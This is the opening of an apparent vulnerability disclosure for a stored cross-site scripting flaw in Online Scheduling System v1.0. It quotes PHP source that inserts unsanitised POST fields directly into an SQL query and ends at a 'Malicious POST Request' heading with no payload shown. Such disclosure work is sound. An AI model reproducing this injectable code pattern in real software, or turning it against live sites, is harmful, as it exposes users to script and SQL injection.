    # Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip
    # Version: 1.0
    # Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
    # Vulnerability Info:
    # Online Scheduling System v1.0 suffers from an authenticated persistent cross-site scripting vulnerability. This Proof of Concept (PoC) will cause all users of the system,with read access to the courses, to execute arbitrary client-side code when viewing the 'Home' and 'List' tabs within the web application. The application fails to sanitize arguments supplied by the user before inserting them into the SQL database.
    
    # Vulnerable Source Code
    ## /add.cor.php
     14$Course_Code = $_POST['corcode'];
     15$Course_name = $_POST['corname'];
     16 
     17$sql = "INSERT INTO course (Course_Code, Course_name) VALUES ('$Course_Code', '$Course_name')";
    
    # Malicious POST Request
